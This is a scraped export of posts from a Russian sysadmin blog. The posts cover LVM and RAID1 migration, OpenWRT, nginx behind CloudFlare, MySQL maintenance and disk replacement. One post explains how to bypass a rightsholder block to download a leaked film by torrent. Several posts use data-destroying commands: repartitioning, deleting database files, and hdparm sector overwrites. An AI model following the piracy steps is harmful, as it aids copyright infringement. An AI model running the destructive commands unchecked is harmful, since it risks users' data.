alt=\"vk_remove_ad_3\" loading=\"lazy\" src=\"/wp-content/uploads/2016/03/vk_remove_ad_3-169x300.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eОпуститься вниз меню и поставить галочку напротив \u0026ldquo;Отключить рекламу\u0026rdquo;\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2016/03/vk_remove_ad_4.jpg\"\u003e\u003cimg alt=\"vk_remove_ad_4\" loading=\"lazy\" src=\"/wp-content/uploads/2016/03/vk_remove_ad_4-169x300.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eСпособ был обнаружен во время ознакомления с программой \u003ca href=\"https://play.google.com/store/apps/details?id=fr.simon.marquis.secretcodes\"\u003eSecret Codes\u003c/a\u003e для Андроида. Софт позволяет найти скрытый функционал внутри установленных на телефоне приложений.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2016/03/vk_remove_ad_5.jpg\"\u003e\u003cimg alt=\"vk_remove_ad_5\" loading=\"lazy\" src=\"/wp-content/uploads/2016/03/vk_remove_ad_5-169x300.jpg\"\u003e\u003c/a\u003e\u003cbr\u003e\nТакже с его помощью можно войти в сервисное меню, если в устройстве отсутствует звонилка (например, на планшете).\u003c/p\u003e","title":"Отключение рекламы в мобильном клиенте Вконтакте"},{"content":"Предположим, нам стало места на системном разделе в виртуальной машине под KVM/VMWare или вовсе в облаке какого-либо хостинга.После физического увеличения размера блочного устройства для виртуальной машины внутри ничего не поменяется, и система продолжит думать, что всё плохо.\nПоследовательность действий при использовании LVM такова:\n1. Увеличиваем размер раздела, выделенного под LVM\n2. Увеличиваем физический раздел pv\n3. Увеличиваем логический раздел lv по аналогии с обычной системой разметки\n4. Расширяем файловую систему на увеличенном разделе\nВ качестве примера используем облачный сервер от Селектела:\n#fdisk -l Disk /dev/xvda: 10.7 GB, 10737418240 bytes 255 heads, 63 sectors/track, 1305 cylinders, total 20971520 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000916ff Device Boot Start End Blocks Id System /dev/xvda1 * 2048 292863 145408 83 Linux /dev/xvda2 292864 16775167 8241152 8e Linux LVM Disk /dev/mapper/vg_system-root: 6387 MB, 6387924992 bytes 255 heads, 63 sectors/track, 776 cylinders, total 12476416 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/mapper/vg_system-root doesn\u0026#39;t contain a valid partition table Disk /dev/mapper/vg_system-swap: 2046 MB, 2046820352 bytes 255 heads, 63 sectors/track, 248 cylinders, total 3997696 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/mapper/vg_system-swap doesn\u0026#39;t contain a valid partition table Как видим, в системе имеется раздел xvda, на котором с помощью LVM созданы томы под систему и раздел подкачки, но суммарный их объем в 8ГБ с небольшим отличается от размера блочного устройства xvda - 10ГБ. Добавим недостающие 2ГБ к системному разделу.\nДля этого с помощью fdisk пересоздадим раздел xvda2, который займет всё доступное физическое пространство:\nfdisk /dev/xvda p (запоминаем как выглядит текущая разметка) d 2 (удаляем имеющийся раздел) n p 2 (создаем новый раздел, первичный, под номером 2 - предложит по умолчанию) t 8e (меняем тип раздела на Linux LVM, список типов доступен по команде L) w (записываем новую конфигурацию разделов) Новая таблица разметки не применяется до перезагрузки, но можно попробовать принудительно обновить данные командой partprobe из набора инструментов parted\npartprobe /dev/xvda После этого проверяем появившееся свободное место для LVM с помощью команды pvs\nPV VG Fmt Attr PSize PFree /dev/xvda2 vg_system lvm2 a-- 8.23g 1.76g Расширяем физический том LVM\npvresize /dev/xvda2\nУвеличиваем логический том\nlvresize -l +100%FREE /dev/vg_system/root\nРастягиваем файловую систему на весь раздел\nresize2fs /dev/vg_system/root\nСсылки:\nExpanding a LVM partition to fill remaining drive space Увеличение системного раздела в облаке (селектел) ","permalink":"https://blog.xsk.in/it/uvelichenie-kornevogo-razdela-na-lvm-v-linux/825/","summary":"\u003cp\u003eПредположим, нам стало места на системном разделе в виртуальной машине под \u003cem\u003eKVM/VMWare\u003c/em\u003e или вовсе в облаке какого-либо хостинга.После физического увеличения размера блочного устройства для виртуальной машины внутри ничего не поменяется, и система продолжит думать, что \u003cem\u003eвсё плохо\u003c/em\u003e.\u003c/p\u003e\n\u003cp\u003eПоследовательность действий при использовании \u003cem\u003eLVM\u003c/em\u003e такова:\u003cbr\u003e\n1. Увеличиваем размер раздела, выделенного под \u003cem\u003eLVM\u003c/em\u003e\u003cbr\u003e\n2. Увеличиваем физический раздел \u003cem\u003epv\u003c/em\u003e\u003cbr\u003e\n3. Увеличиваем логический раздел \u003cem\u003elv\u003c/em\u003e по аналогии с обычной системой разметки\u003cbr\u003e\n4. Расширяем файловую систему на увеличенном разделе\u003c/p\u003e","title":"Увеличение корневого раздела на LVM в Linux"},{"content":"Правообладатели наступают на пятки и портят настроение простому обывателю, который в пятницу вечером решил скачать свежее кино. Большинство раздач на популярных трекерах имеют вместо кнопки \u0026ldquo;Получить магнет\u0026rdquo; или \u0026ldquo;Скачать\u0026rdquo; фразу \u0026ldquo;Раздача заблокирована\u0026rdquo;. Что несомненно заставляет грустить. Поначалу. На самом деле существует возможность все же получить ссылку на торрент-файл.\nДля этого необходимо найти на странице упоминание списка файлов, рядом с которым зачастую находится строчка с инфо хэшем. Вот он то нам и нужен. Чтобы наш любимый торрент-клиент прожевал этот хэш и начал качать требуемую раздачу, необходимо добавить некоторое подобие заголовка для магнет-ссылки:\nmagnet:?xt=urn:btih:\nРассмотрим вышеописанное на конкретном примере, попробуем скачать утекший в сеть с легкой руки щедрых хацкеров фильм Квентина Тарантино \u0026ldquo;Омерзительная восьмерка\u0026rdquo;:\n1. Находим раздачу на трекере, например http://kinozal.tv/details.php?id=1409888\n2. Находим на странице кнопку \u0026ldquo;Список файлов\u0026rdquo; и видим следующее\nИнфо хеш: BC7477F4C39175D45773ECC2DD37DB6299E6871A\nРазмер части торрента: 4 МБ\nOHren1trLnaya.8ka.2015.P.DVDScr.2800MB.PARADOX.OMSKBIRD.avi 2.74 ГБ (2939621376)\n3. Добавляем к хэшу начало, чтобы получить URL\nmagnet:?xt=urn:btih:BC7477F4C39175D45773ECC2DD37DB6299E6871A\n4. Вставляем эту ссылку в торрент-клиент и ждем начала загрузки\n5. Profit!\n","permalink":"https://blog.xsk.in/it/kak-skachat-zablokirovanny-j-torrent/821/","summary":"\u003cp\u003eПравообладатели наступают на пятки и портят настроение простому обывателю, который в пятницу вечером решил скачать свежее кино. Большинство раздач на популярных трекерах имеют вместо кнопки \u0026ldquo;Получить магнет\u0026rdquo; или \u0026ldquo;Скачать\u0026rdquo; фразу \u0026ldquo;Раздача заблокирована\u0026rdquo;. Что несомненно заставляет грустить. Поначалу. На самом деле существует возможность все же получить ссылку на торрент-файл.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2016/01/1197024.jpeg\"\u003e\u003cimg alt=\"451F\" loading=\"lazy\" src=\"/wp-content/uploads/2016/01/1197024-300x180.jpeg\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Как скачать заблокированный торрент"},{"content":"По умолчанию в Debian нет предустановленного killall. Проблема легко решаема. В репозиториях есть пакет psmisc, содержащий эту утилиту.\nОбнаружить это можно, выполнив команду\napt-get update \u0026amp;\u0026amp; apt-get search killall sysvinit-utils - аналоги утилит System-V psmisc - utilities that use the proc file system Ставим недостающий пакет и пользуемся\napt-get install psmisc Ссылки:\nKillall in Debian?\n","permalink":"https://blog.xsk.in/it/killall-v-debian/813/","summary":"\u003cp\u003eПо умолчанию в Debian нет предустановленного killall. Проблема легко решаема. В репозиториях есть пакет psmisc, содержащий эту утилиту.\u003c/p\u003e\n\u003cp\u003eОбнаружить это можно, выполнив команду\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt-get update \u0026amp;\u0026amp; apt-get search killall\n\nsysvinit-utils - аналоги утилит System-V\npsmisc - utilities that use the proc file system\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eСтавим недостающий пакет и пользуемся\u003c/p\u003e","title":"Killall в Debian"},{"content":"Ходят слухи, что гугл поднимает сайты с поддержкой HTTPS повыше в поисковой выдаче. Кроме того, добавление SSL сертификата повысит безопасность сайта в целом. Тем более, что помимо StartSSL и WoSign бесплатные сертификаты совсем скоро начнет выдавать Let\u0026rsquo;s Encrypt.\nWordpress по умолчанию хранит все ссылки с добавлением протокола, поэтому для полноценной поддержки необходимо внести изменения в базу данных. При этом следует учесть, что чтобы не сломать HTTP, можно перейти на относительные ссылки внутри сайта вместо абсолютных. Для этого в консоли mysql делаем для БД блога замену в таблице wp_posts (если используются плагины подмены имен таблиц, название нужно заменить на своё корректное):\nmysql\u0026gt; use wordpress; mysql\u0026gt; UPDATE wp_posts SET post_content = REPLACE (post_content, \u0026#39;http://DOMAIN.COM/\u0026#39;, \u0026#39;/\u0026#39;); Здесь и далее DOMAIN.COM нужно заменить на адрес сайта, где расположен Wordpress. В основных настройках админки блога есть возможность указать базовую ссылку. Она тоже должна быть в формате с протоколом. Как быть, если требуется поддержка обоих? Идём в wp-config.php и городим там велосипед:\nfunction isSecure() { return (!empty($_SERVER[\u0026#39;HTTPS\u0026#39;]) \u0026amp;\u0026amp; $_SERVER[\u0026#39;HTTPS\u0026#39;] !== \u0026#39;off\u0026#39;) || $_SERVER[\u0026#39;SERVER_PORT\u0026#39;] == 443; } $web_site_url = \u0026#39;DOMAIN.COM\u0026#39;; if (isSecure()) { define(\u0026#39;WP_HOME\u0026#39;, \u0026#39;https://\u0026#39; . $web_site_url); define(\u0026#39;WP_SITEURL\u0026#39;,\u0026#39;https://\u0026#39; . $web_site_url); } else { define(\u0026#39;WP_HOME\u0026#39;, \u0026#39;http://\u0026#39; . $web_site_url); define(\u0026#39;WP_SITEURL\u0026#39;,\u0026#39;http://\u0026#39; . $web_site_url); } По желанию добавляем обязательное использование HTTPS при логине и/или пользовании админкой:\ndefine( \u0026#39;FORCE_SSL_LOGIN\u0026#39;, true ); define( \u0026#39;FORCE_SSL_ADMIN\u0026#39;, true ); Ссылки:\nMake a WordPress site work on both HTTP \u0026amp; HTTPS ","permalink":"https://blog.xsk.in/it/dobavlenie-podderzhki-https-v-wordpress/810/","summary":"\u003cp\u003e\u003ca href=\"https://googleonlinesecurity.blogspot.co.il/2014/08/https-as-ranking-signal_6.html\"\u003eХодят слухи\u003c/a\u003e, что гугл поднимает сайты с поддержкой HTTPS повыше в поисковой выдаче. Кроме того, добавление SSL сертификата повысит безопасность сайта в целом. Тем более, что помимо \u003ca href=\"https://www.startssl.com/\"\u003eStartSSL\u003c/a\u003e и \u003ca href=\"https://buy.wosign.com/free/\"\u003eWoSign\u003c/a\u003e бесплатные сертификаты совсем скоро начнет выдавать \u003ca href=\"https://letsencrypt.org/\"\u003eLet\u0026rsquo;s Encrypt\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWordpress по умолчанию хранит все ссылки с добавлением протокола, поэтому для полноценной поддержки необходимо внести изменения в базу данных. При этом следует учесть, что чтобы не сломать HTTP, можно перейти на относительные ссылки внутри сайта вместо абсолютных. Для этого в консоли mysql делаем для БД блога замену в таблице wp_posts (если используются плагины подмены имен таблиц, название нужно заменить на своё корректное):\u003c/p\u003e","title":"Добавление поддержки HTTPS в Wordpress"},{"content":"Не секрет, что основной проблемой при пользовании OpenWRT является недостаток свободной памяти на роутере под программы, с которыми приходится работать. При превращении роутера в медиакомбайн первым шагом является подключение внешнего накопителя для системных и пользовательских файлов.\nПредположим, что произодитель был щедрым китайцем и порт USB распаян на плате (в противном случае начать следует с поисков следов наличия возможности сделать это собственноручно). Первым делом необходима поддержка USB ядром. Так как мы далеко в 21 веке, контроллер непременно USB2.0 (EHCI).\nopkg update opkg install kmod-usb-core kmod-scsi-core kmod-usb2 Тут следует учесть что у нас будет не принтер или другое периферийное устройство, а накопитель. Поэтому добавим поддержку USB Mass Storage.\nopkg install kmod-usb-storage Теперь научим систему монтировать наши флешки/винчестеры и подхватывать их на лету, этот пакет необходим для работы fstab. Заодно добавим поддержку той файловой системы, которой будем пользоваться на накопителе.\nopkg install block-mount kmod-fs-ext4 Включаем невключившиеся автоматически модули\ninsmod usbcore insmod ehci-hcd В качестве дополнительного софта можно установить пакет usbutils, который позволит работать с lsusb и добавит прочий вспомогательный функционал. Также можно доставить e2fsprogs, позволяющий размечать накопители непосредственно из OpenWRT. Еще один полезный инструмент - blkid, показывающий список доступных блочных устройств в системе.\nopkg install usbutils e2fsprogs blkid Готовим накопитель на компьютере или прямо в консоли OpenWRT (кому как больше по душе, я предпочитаю GUI-шный Gparted).\n# blkid|grep sda /dev/sda1: LABEL=\u0026#34;system\u0026#34; UUID=\u0026#34;5359cf76-00e2-4b82-bf0f-c51d6aca3713\u0026#34; TYPE=\u0026#34;ext4\u0026#34; PARTUUID=\u0026#34;0004a716-01\u0026#34; /dev/sda2: LABEL=\u0026#34;swap\u0026#34; TYPE=\u0026#34;swap\u0026#34; PARTUUID=\u0026#34;0004a716-02\u0026#34; /dev/sda3: LABEL=\u0026#34;data\u0026#34; UUID=\u0026#34;bb922040-2b0c-47e4-a108-81de197b2424\u0026#34; TYPE=\u0026#34;ext4\u0026#34; PARTUUID=\u0026#34;0004a716-03\u0026#34; Как видно из названий, первый выделен под системные файлы, второй - раздел подкачки и третий для всего остального.\nПереносим все файлы на внешний накопитель\nmkdir /mnt/sda1 mount /dev/sda1 /mnt/sda1 mkdir -p /tmp/cproot mount --bind / /tmp/cproot tar -C /tmp/cproot -cvf - . | tar -C /mnt/sda1 -x umount /tmp/cproot Подключаем раздел для swap\nmkswap /dev/sda2 swapon /dev/sda2 Создаем точку монтирования (например, /data) для третьего раздела и вносим изменения в /etc/config/fstab\nconfig \u0026#39;global\u0026#39; option anon_swap \u0026#39;0\u0026#39; option anon_mount \u0026#39;0\u0026#39; option auto_swap \u0026#39;1\u0026#39; option auto_mount \u0026#39;1\u0026#39; option delay_root \u0026#39;5\u0026#39; option check_fs \u0026#39;0\u0026#39; config swap option label \u0026#39;swap\u0026#39; config mount option target / option device /dev/sda1 option fstype ext4 option options rw,sync option enabled 1 option enabled_fsck 0 config mount option target\t/data option device\t/dev/sda3 option fstype\text4 option options rw,sync option enabled 1 option enabled_fsck 0 После перезагрузки расклад в системе должен быть примерно как ниже\n# df -h Filesystem Size Used Available Use% Mounted on rootfs 975.9M 35.8M 872.9M 4% / /dev/root 2.3M 2.3M 0 100% /rom tmpfs 29.9M 1.8M 28.1M 6% /tmp /dev/sda1 975.9M 35.8M 872.9M 4% / tmpfs 512.0K 0 512.0K 0% /dev /dev/sda3 291.8G 184.7G 92.2G 67% /data Ссылки:\nUSB Storage USB Basic Support Корневая файловая система на внешнем устройстве (extroot) ","permalink":"https://blog.xsk.in/it/perenos-kornevoj-sistemy-openwrt-na-fleshku/804/","summary":"\u003cp\u003eНе секрет, что основной проблемой при пользовании \u003cem\u003eOpenWRT\u003c/em\u003e является недостаток свободной памяти на роутере под программы, с которыми приходится работать. При превращении роутера в медиакомбайн первым шагом является подключение внешнего накопителя для системных и пользовательских файлов.\u003c/p\u003e\n\u003cp\u003eПредположим, что произодитель был щедрым китайцем и порт USB распаян на плате (в противном случае начать следует с поисков следов наличия возможности сделать это собственноручно). Первым делом необходима поддержка USB ядром. Так как мы далеко в 21 веке, контроллер непременно USB2.0 (\u003cem\u003eEHCI\u003c/em\u003e).\u003c/p\u003e","title":"Перенос корневой системы OpenWRT на флешку"},{"content":"Внутри shell-скриптов иногда нужно оперировать IP адресами. Например, необходимо вычислить, входит ли адрес 123.4.56.7 в диапазон адресов 123.0.0.1-123.5.255.255. Проще всего это сделать, переведя адрес в целое число и сравнив его с граничными значениями. Для этих целей подойдут две функции в BASH.\nINET_NTOA() { local IFS=. num quad ip e num=$1 for e in 3 2 1 do (( quad = 256 ** e)) (( ip[3-e] = num / quad )) (( num = num % quad )) done ip[3]=$num echo \u0026#34;${ip[*]}\u0026#34; } INET_ATON () { local IFS=. ip num e ip=($1) for e in 3 2 1 do (( num += ip[3-e] * 256 ** e )) done (( num += ip[3] )) echo \u0026#34;$num\u0026#34; } Пример работы функций:\n$ INET_ATON 10.2.1.255 167903743 $ INET_NTOA 167903743 10.2.1.255 Ссылки:\nHow to efficiently convert long int to dotted quad IP in bash ","permalink":"https://blog.xsk.in/it/konvertatsiya-ip-v-chislo-i-obratno-v-bash/748/","summary":"\u003cp\u003eВнутри shell-скриптов иногда нужно оперировать IP адресами. Например, необходимо вычислить, входит ли адрес 123.4.56.7 в диапазон адресов 123.0.0.1-123.5.255.255. Проще всего это сделать, переведя адрес в целое число и сравнив его с граничными значениями. Для этих целей подойдут две функции в BASH.\u003c/p\u003e","title":"Конвертация IP в число и обратно в Bash"},{"content":"Размещение веб-ресурса за сервисом CloudFlare позволяет скрыть IP сервера и тем самым обезопасить себя от возможного DDoS. Однако есть обратная сторона медали - айпишники пользователей, пользующихся вашим ресурсом, также заменяются на подсети CloudFlare. Вот как можно восстановить настоящие IP на сервере с nginx\nУ CloudFlare фиксированный список IP-подсетей 4 и 6 версий. Он расположен здесь. Для начала совместим этот список с директивой set_real_ip_from из модуля ngx_http_realip_module. Для работы этого модуля необходимо собрать nginx с опцией \u0026ndash;with-http_realip_module.\nset_real_ip_from 173.245.53.155; set_real_ip_from 103.21.244.0/22; set_real_ip_from 103.22.200.0/22; set_real_ip_from 103.31.4.0/22; set_real_ip_from 104.16.0.0/12; set_real_ip_from 108.162.192.0/18; set_real_ip_from 141.101.64.0/18; set_real_ip_from 162.158.0.0/15; set_real_ip_from 172.64.0.0/13; set_real_ip_from 173.245.48.0/20; set_real_ip_from 188.114.96.0/20; set_real_ip_from 190.93.240.0/20; set_real_ip_from 197.234.240.0/22; set_real_ip_from 198.41.128.0/17; set_real_ip_from 199.27.128.0/21; После чего нужно переопределить переменную real_ip_header, содержащую адрес. Для этого сервис добавляет заголовок CF-Connecting-IP\nreal_ip_header CF-Connecting-IP;\nТеперь в логах nginx и приложениях бэкенда будут правильные IP адреса пользователей ресурсом.\nСсылки:\nМодуль ngx_http_realip_module CloudFlare IP Ranges How do I restore original visitor IP with Nginx? ","permalink":"https://blog.xsk.in/it/real-ny-j-ip-posetitelya-na-sajte-za-cloudflare/795/","summary":"\u003cp\u003eРазмещение веб-ресурса за сервисом \u003ca href=\"https://www.cloudflare.com/\"\u003eCloudFlare\u003c/a\u003e позволяет скрыть IP сервера и тем самым обезопасить себя от возможного DDoS. Однако есть обратная сторона медали - айпишники пользователей, пользующихся вашим ресурсом, также заменяются на подсети CloudFlare. Вот как можно восстановить настоящие IP на сервере с nginx\u003c/p\u003e","title":"Реальный IP посетителя на сайте за CloudFlare"},{"content":"Процесс переноса системы может производиться без прекращения функционирования сервера, но в ходе переноса может значительно снизится его производительность. Вкратце, все разделы постепенно переносятся на свободный жесткий диск, который переводится в состояние деградированного RAID1. После завершения переноса файлов и загрузчика на разделы рейда старый одиночный диск очищается от данных и добавляется к зеркалу.\nДисклеймер: автор текста не несет никакой ответственности за выши данные на серверах. В конце статьи приведены ссылки на гайды, откуда кусочно был скомпонован алгоритм, опробованный в деле.\nПроцесс настройки будет производится с учетом используемого в текущий момент диска /dev/sda и свежего незадействованного диска /dev/sdb. Помимо всего прочего в системе используется LVM. Диск разбит на 2 части: первый раздел /boot небольшого размера, остальное отдано под LVM.\nfdisk -l /dev/sda Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000ab6ac Device Boot Start End Blocks Id System /dev/sda1 * 1 125 999424 83 Linux Partition 1 does not end on cylinder boundary. /dev/sda2 125 19458 155288577 5 Extended /dev/sda5 125 19458 155288576 8e Linux LVM Для начала установим mdadm.\napt-get install mdadm После установки необходимо проиницализировать все необходимые модули. Это избавит нас от необходимости лишний раз перезагружать сервер:\nmodprobe linear modprobe multipath modprobe raid0 modprobe raid1 modprobe raid5 modprobe raid6 modprobe raid10 Теперь скопируем структуру разделов с действующего диска на новый\nsfdisk -d /dev/sda | sfdisk -f /dev/sdb Делаем RAID1 для первого раздела на новом диске\nmdadm --create /dev/md0 --level=1 --raid-devices=2 missing /dev/sdb1 Повторяем для остальных\nmdadm --create /dev/md1 --level=1 --raid-devices=2 missing /dev/sdb5 Форматируем партиции в нужные файловые системы\nmkfs.ext3 /dev/md0 Теперь перенесем содержимое первого раздела в зеркало, так как там только папка /boot, скопируем её\nmount /dev/md0 /mnt/ rsync --progress -av /boot/ /mnt/ umount /boot mount /dev/md0 /boot После успешного монтирования нового раздела с загрузочными файлами добавляем старый к зеркалу и ждем завершения синхронизации.\nmdadm -a /dev/md0 /dev/sda1 Так как существующий раздел /dev/sda5 расположен на LVM, создаем LVM физический том в рейде\npvcreate /dev/md1 Расширяем существующую группу томов с учетом md1\nvgextend vg0 /dev/md1 Переносим туда наш текущий раздел с данными\npvmove /dev/sda5 /dev/md1 Выбрасываем из группы томов одиночный раздел\nvgreduce vg0 /dev/sda5 Добавляем освободившийся раздел к зеркалу, дожидаемся сборки массива\nmdadm -a /dev/md1 /dev/sda5 cat /proc/mdstat После всех этих процедур, если система не предложила сделать это ранее, вносим изменения в файлы конфигурации mdadm, добавляя туда данные о созданных нами массивах\nmdadm --examine --scan \u0026gt;\u0026gt; /etc/mdadm/mdadm.conf Теперь необходимо поправить /etc/fstab на загрузку с разделов, расположенных в зеркале. Если в файле содержатся UUID вместо дерева устройств, cвежие данные берем из вывода blkid.\nОбновляем загрузчик и ставим его на все используемые у нас диски.\nupdate-grub grub-install /dev/sdb grub-install /dev/sda На этом этапе пробуем перезагрузиться и скрестив пальцы ждём пингов от сервера, находящегося от нас в нескольких тысячах километров.\nСсылки:\nПеренос работающей Linux системы с одиночного жесткого диска на RAID 1 LVM Single Drive to LVM RAID 1 Mirror Migration How To Set Up Software RAID1 On A Running System (Incl. GRUB2 Configuration) (Debian Squeeze) ","permalink":"https://blog.xsk.in/it/perenos-rabochej-sistemy-s-odnogo-diska-na-raid1/746/","summary":"\u003cp\u003eПроцесс переноса системы может производиться без прекращения функционирования сервера, но в ходе переноса может значительно снизится его производительность. Вкратце, все разделы постепенно переносятся на свободный жесткий диск, который переводится в состояние деградированного RAID1. После завершения переноса файлов и загрузчика на разделы рейда старый одиночный диск очищается от данных и добавляется к зеркалу.\u003c/p\u003e","title":"Перенос рабочей системы с одного диска на RAID1"},{"content":"Так как репозитории Debian содержат зачастую стабильные, но устаревшие версии пакетов, довольно часто приходится устанавливать их вручную. После этого, если обновить систему, пакет или может быть заменен на более старый, или обновлен частично, или вообще прийти в нерабочее состояние. Чтобы менеджер установки пакетов не трогал нужные нам версии ПО, заблокируем его обновления.\nСмотрим статус требуемого пакета:\ndpkg --get-selections | grep nginx Устанавливаем HOLD:\necho \u0026#34;nginx hold\u0026#34; | dpkg --set-selections Повторяем выполнение первой команды, чтобы убедиться, что все получилось.\nСсылки:\nЗапретить апдейт пакета Debian ","permalink":"https://blog.xsk.in/it/otklyuchit-obnovlenie-paketa-v-debian/741/","summary":"\u003cp\u003eТак как репозитории Debian содержат зачастую стабильные, но устаревшие версии пакетов, довольно часто приходится устанавливать их вручную. После этого, если обновить систему, пакет или может быть заменен на более старый, или обновлен частично, или вообще прийти в нерабочее состояние. Чтобы менеджер установки пакетов не трогал нужные нам версии ПО, заблокируем его обновления.\u003c/p\u003e","title":"Отключить обновление пакета в Debian"},{"content":"При работе с базами данных в MySQL рано или поздно начинает полнеть файл ibdata1. Этот файл содержит в себе индексы и данные всех innodb таблиц, если не было указано в настройках иное. При работе с крупными базами рекомендуется использовать опцию innodb_file_per_table, тогда этот файл будет гораздо меньше. Но просто добавлением опции дело не исправить, необходимо переложить все таблицы имеющихся баз руками в отдельные файлы и папки.\nДля этого:\nДелаем бэкап всех баз\nmysqldump --all-databases -p \u0026gt; mysqldump-all.sql Удаляем все базы, кроме служебных (mysql и performance_schema)\nДобавляем в my.cnf опцию innodb_file_per_table в секцию [mysqld]\nОстанавливаем MySQL\nУдаляем файлы /var/lib/mysql/ibdata1 и /var/lib/mysql/ib_logfile*\nЗапускаем MySQL\nЗаливаем дамп назад, наблюдая за заполнением /var/lib/mysql отдельными папками под каждую базу\nmysql -p \u0026lt; mysqldump-all.sql Ссылки:\nЧистим разросшийся файл mysql ibdata1 How to shrink/purge ibdata1 file in MySQL ","permalink":"https://blog.xsk.in/it/umen-shaem-razmer-ibdata1-v-mysql/735/","summary":"\u003cp\u003eПри работе с базами данных в MySQL рано или поздно начинает полнеть файл ibdata1. Этот файл содержит в себе индексы и данные всех innodb таблиц, если не было указано в настройках иное. При работе с крупными базами рекомендуется использовать опцию innodb_file_per_table, тогда этот файл будет гораздо меньше. Но просто добавлением опции дело не исправить, необходимо переложить все таблицы имеющихся баз руками в отдельные файлы и папки.\u003c/p\u003e","title":"Уменьшаем размер ibdata1 в MySQL"},{"content":"О том, что Hetzner использует подержанные жесткие диски, не писал только ленивый. Не вижу в этом ничего плохого, учитывая их постоянное уплотнение и снижение отказоустойчивости. Рано или поздно, любые жесткие диски выходят из строя. Но раньше и трава была зеленее, и железо стабильнее.\nОтвалился один из дисков, входящих в стандартный софтварный RAID1, созданный с помощью mdadm. На работе сервера это никоим образом не сказалось, но отсутствие резервирования не есть хорошо. После полного бэкапа системы (файлы, базы данных, настройки) написали тикет в техподдержку.\nЗаблаговременно нужно поставить загрузчик на оставшийся в живых диск (делаем наверняка, вдруг мертвый диск был главным, и с него загружалась система). Для этого достаточно выполнить\ngrub-install /dev/sdb (где sdb - живой диск).\nПри заполнении заявки в панели хостера просят указать серийный номер винчестера, требующего замены, если это представляется возможным. Либо же серийный номер второго винчестера, если первый приказал долго жить и замолчал.\nЗамену оборудования произвели за 10 минут после нажатия кнопки \u0026ldquo;Отправить заявку\u0026rdquo;. Такой оперативной работе можно только позавидовать, учитывая, что в качестве подменного диска установили абсолютно новый 3ТБ винчестер (все параметры в SMART были около нуля).\nСервер сразу запустили в боевом режиме (без rescue-mode и лишних потерь драгоценного аптайма). Так как объем винчестера превышает 2ТБ, на дисках используется разметка GPT. Для копирования таблицы разделов на чистый диск в этом случае используется sgdisk. В качестве подстраховки делаем бэкап существующей таблицы разделов на живом винчестере с данными:\nsgdisk --backup=/home/backup/sdb.gpt /dev/sdb Копируем таблицу разделов (особое внимание следует обратить на последовательность аргументов, сначала указывается КУДА, а последним аргументом ОТКУДА копируется таблица):\nsgdisk -R /dev/sda /dev/sdb Генерируем для диска новый UUID:\nsgdisk -G /dev/sda И теперь можно добавить диск в массив (отдельно для каждого раздела):\nmdadm /dev/md0 -a /dev/sda1 mdadm /dev/md1 -a /dev/sda2 mdadm /dev/md2 -a /dev/sda3 mdadm /dev/md3 -a /dev/sda4 После этого начинается синхронизация, которая на действующем сервере может затянуться на довольно продолжительное время (вплоть до нескольких дней, зависит от нагрузки). За статусом операции и общим состоянием массива можно следить командой\ncat /proc/mdstat Personalities : [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md3 : active raid1 sda4[2] sdb4[1] 1822442815 blocks super 1.2 [2/2] [UU] md2 : active raid1 sda3[2] sdb3[1] 1073740664 blocks super 1.2 [2/2] [_U] [=============\u0026gt;.] resync = 99.9% (1072884736/1073740664) finish=0.2min speed=65787K/sec md1 : active raid1 sda2[2] sdb2[1] 524276 blocks super 1.2 [2/2] [UU] md0 : active raid1 sda1[2] sdb1[1] 33553336 blocks super 1.2 [2/2] [UU] unused devices: В моем случае операция синхронизации привела к выпаданию нового диска в Spare и ошибке добавления диска в массив на нескольких разделах (корневой / и загрузочный /boot). Вот тут то и началось самое интересное. При синхронизации происходит чтение текущего активного элемента массива и дублирование информации на новый диск. Если происходят ошибки чтения, то сбойный сектор фиксируется в kern.log, и операция прекращается после нескольких попыток.\nJan 22 19:14:29 server kernel: [294309.656319] end_request: I/O error, dev sdb, sector 1190677512 Jan 22 19:14:29 server kernel: [294309.656359] raid1: sdb: unrecoverable I/O read error for block 1122513920 Jan 22 19:14:29 server kernel: [294309.656362] ata2: EH complete Jan 22 19:14:29 server kernel: [294309.703991] md: md2: recovery done. Одним из возможных вариантов выхода из сложившейся ситуации было проверить диск на ошибки чтения, отремапить сбойные сектора и попытаться любыми правдами-неправдами синхронизировать разделы.\nPersonalities : [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md3 : active raid1 sda4[2] sdb4[1] 1822442815 blocks super 1.2 [2/2] [UU] md2 : active raid1 sda3[2](S) sdb3[1] 1073740664 blocks super 1.2 [2/1] [_U] md1 : active raid1 sdb2[1] 524276 blocks super 1.2 [2/1] [_U] md0 : active raid1 sda1[2] sdb1[1] 33553336 blocks super 1.2 [2/2] [UU] unused devices: Репамить наживую, как оказалось, умеет hdparm (следующую команду копировать не рекомендую в целях безопасности, лучше вбить заново в консоли):\nhdparm --write-sector 1190677512 --yes-i-know-what-i-am-doing /dev/sdb Но для начала нужно было как-то найти все бэды, потому что забрав сбойный сектор из логов и отремапив его, приходилось заново запускать синхронизацию разделов сначала и ждать несколько часов следующей ошибки чтения. В качестве инструмента для поиска была использована утилита badblocks, выводящая ошибки чтения блоков.\nДальше в ход пошла математика, операции перевода блоков в сектора были выведены экспериментально (зачем искать легкие пути).\nВывод 